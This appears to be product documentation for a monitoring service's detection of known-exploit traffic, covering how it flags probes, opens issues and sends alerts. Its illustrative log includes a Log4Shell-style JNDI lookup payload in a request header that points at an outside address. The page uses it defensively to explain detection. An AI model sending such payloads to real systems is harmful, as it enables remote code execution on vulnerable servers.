Exploit Attempt Alerts: An Issue When Traffic Matches a Known Exploit

Last verified on Nov 10, 2026.

Known exploits, aimed at you

When a serious flaw in a popular framework or server becomes public, scanning for it starts within hours. The traffic is easy to recognize once you know what it looks like: a specific path, a header with a crafted value, a body shaped for one bug. It usually arrives in bulk, from many addresses, long before you have read the advisory.

Exploit attempts is the Sazabi detection for traffic that matches a known exploit against your stack. The Sazabi agent sets up sensors for your project and maintains them over time. You set nothing up, and you do not subscribe to advisories or write matching rules.

How it differs from attack payloads

Attack payloads is about generic hostile input: injection strings, traversal, forged URLs. It applies to any app. Exploit attempts is about requests crafted for a known weakness, such as a specific endpoint that only exists in one product, or a payload that only makes sense against one library. The first says "someone is testing your inputs". The second says "someone is trying a published way in". The two can fire together, and the investigation tells you which one you are looking at.

Example: a probe for a framework debug endpoint

This is an example, not output from a real project. A service named web-gateway fronts an internal admin app. An unauthenticated scanner tries a well-known management path and a crafted header:

2026-11-08T05:12:40Z INFO web-gateway GET /actuator/env status=404 client=198.51.100.23 ua="Mozilla/5.0 zgrab/0.x"
2026-11-08T05:12:41Z INFO web-gateway GET /console status=404 client=198.51.100.23 ua="Mozilla/5.0 zgrab/0.x"
2026-11-08T05:12:43Z INFO web-gateway GET /admin/login status=200 client=198.51.100.23 hdr_x_forwarded_host="${jndi:ldap://203.0.113.9/a}"
2026-11-08T05:12:44Z ERROR web-gateway lookup failed in request logger message="could not resolve ldap://203.0.113.9/a"

Three things stand out. The scanner knows the paths of specific products. The header carries a payload meant to be evaluated by a logging library. And the last line shows your own code trying to resolve the address in that header, which is the difference between "scanned" and "may have been reached". Sazabi investigates and opens an issue. An example of what it could say:

• Name: Exploit probe against web-gateway, with an outbound lookup triggered
• Description: One client probed management paths and sent a lookup string in a header. web-gateway then attempted to resolve the embedded address, which means the string was evaluated.
• Severity: critical

The evidence is the four lines in sequence. The agent analysis explains why the last one changes the severity. Without it, this would be a scan that hit nothing.

What to expect in the issue

The investigation answers whether anything responded the way a vulnerable system would: a 200 where a 404 was expected, an error that names a library, or a new outbound connection in your logs. It names the path, the client, the response and the component, so the person who picks it up knows which service to look at first.

Ask follow-up questions in the issue thread, such as whether other services saw the same string. Run sazabi issues agent-prompt to hand the fix to a coding agent. Resolve, ignore or mute the issue from the dashboard, Slack, Teams or the CLI. If the same traffic keeps arriving while an issue is open or ignored, it folds into that issue, so a week of internet-wide scanning does not become a week of new tickets.

How you get told

New issues send an Issue triggered notification: in-app, email, Slack DM or SMS, or shared Slack and Microsoft Teams channels through delivery rules on severity, component or owning team. For security work that usually means a rule on critical severity that goes to one shared channel.

What it needs

Request-level logs. Edge, WAF and gateway logs are the best view, since they see the traffic before your app rejects it. Cloudflare and AWS are two ways to send them. Application logs through OpenTelemetry work when they record paths and headers.

What it does not cover

• Telling you whether you run the affected software. The detection sees traffic, and the investigation reasons from your logs. It does not check an inventory of your dependencies, and matching new advisories to your stack is not covered today.
• Exploits that look like normal requests or run over a channel you do not log.
• Blocking or patching. Sazabi reports; you or a coding agent change the code.
• Generic injection strings, which are the job of attack payloads.

Detected issues are metered; see pricing. Background on how a published flaw becomes a scanning wave is in the glossary entry on a CVE.